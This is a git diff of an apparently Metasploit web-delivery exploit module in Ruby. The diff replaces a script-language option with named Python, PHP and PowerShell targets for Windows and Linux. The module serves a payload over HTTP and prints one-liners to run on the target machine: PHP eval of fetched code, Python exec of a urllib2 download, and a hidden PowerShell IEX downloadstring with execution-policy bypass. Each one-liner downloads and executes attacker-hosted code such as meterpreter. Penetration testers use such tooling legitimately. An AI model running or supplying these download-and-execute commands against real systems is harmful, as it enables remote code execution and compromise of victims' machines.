@@ -43,20 +43,41 @@ def initialize(info = {})
43
43
'Platform' => %w{ py php win } ,
44
44
'Targets' =>
45
45
[
46
- [ 'Automatic' , { } ] ,
46
+ [ 'Python_win' , {
47
+ 'Platform' => 'py' ,
48
+ 'Arch' => ARCH_PYTHON
49
+ } ] ,
50
+ [ 'Python_linux' , {
51
+ 'Platform' => 'py' ,
52
+ 'Arch' => ARCH_PYTHON
53
+ } ] ,
54
+ [ 'PHP_win' , {
55
+ 'Platform' => 'php' ,
56
+ 'Arch' => ARCH_PHP
57
+ } ] ,
58
+ [ 'PHP_linux' , {
59
+ 'Platform' => 'php' ,
60
+ 'Arch' => ARCH_PHP
61
+ } ] ,
62
+ [ 'PSH_x86' , {
63
+ 'Platform' => 'win' ,
64
+ 'Arch' => ARCH_X86
65
+ } ] ,
66
+ [ 'PSH_x64' , {
67
+ 'Platform' => 'win' ,
68
+ 'Arch' => ARCH_X86_64
69
+ } ] ,
70
+
71
+
47
72
] ,
48
73
'DefaultTarget' => 0 ,
49
74
'DisclosureDate' => 'N/A'
50
75
) )
51
- register_options (
52
- [
53
- OptString . new ( 'SCRIPT_LANG' , [ true , 'Scripting Language to use: PY, PHP, or PSH' , 'PY' ] ) ,
54
- ] , self . class )
55
- end
76
+ end
56
77
57
78
def on_request_uri ( cli , request )
58
79
print_status ( "Delivering Payload" )
59
- if ( datastore [ 'SCRIPT_LANG' ] == "PSH" )
80
+ if ( target . name . include? "PSH" )
60
81
data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
61
82
else
62
83
data = %Q|#{ payload . encoded } |
@@ -66,32 +87,18 @@ def on_request_uri(cli, request)
66
87
67
88
def primer
68
89
url = get_uri ( )
69
- p = datastore [ 'Payload' ]
70
- if ( datastore [ 'SCRIPT_LANG' ] == "PHP" )
71
- if ( p [ 0 ..2 ] == "php" )
72
- print_status ( "Run the following command on the target machine:" )
73
- print_line ( "For Linux: php -r \" eval(file_get_contents('#{ url } '));\" " )
74
- print_line ( "For Windows: php.exe -r \" eval(file_get_contents('#{ url } '));\" " )
75
- else
76
- print_error ( "Payload currently unsupported by PHP. You will need to use a native PHP payload, such as php/meterpreter" )
77
- return
78
- end
79
- elsif ( datastore [ 'SCRIPT_LANG' ] == "PY" )
80
- if ( p [ 0 ..5 ] == "python" )
81
- print_status ( "Run the following command on the target machine:" )
82
- print_line ( "For Linux: python -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
83
- print_line ( "For Windows: python.exe -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
84
- else
85
- print_error ( "Payload currently unsupported by Python. You will need to use a native python payload, such as python/meterpreter" )
86
- return
87
- end
88
- elsif ( datastore [ 'SCRIPT_LANG' ] == "PSH" )
90
+ print_status ( "Run the following command on the target machine:" )
91
+ if ( target . name == "PHP_linux" )
92
+ print_line ( "php -r \" eval(file_get_contents('#{ url } '));\" " )
93
+ elsif ( target . name == "PHP_win" )
94
+ print_line ( "php.exe -r \" eval(file_get_contents('#{ url } '));\" " )
95
+ elsif ( target . name == "Python_linux" )
96
+ print_line ( "python -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
97
+ elsif ( target . name == "Python_win" )
98
+ print_line ( "python.exe -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
99
+ else
89
100
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
90
- print_status ( "Run the following command on the target machine:" )
91
101
print_line ( "powershell.exe -w hidden -nop -ep bypass -c \" #{ download_and_run } \" " )
92
- else
93
- print_error ( "You did not specify a valid scripting language. Exiting..." )
94
- return
95
102
end
96
103
end
97
104
end
0 commit comments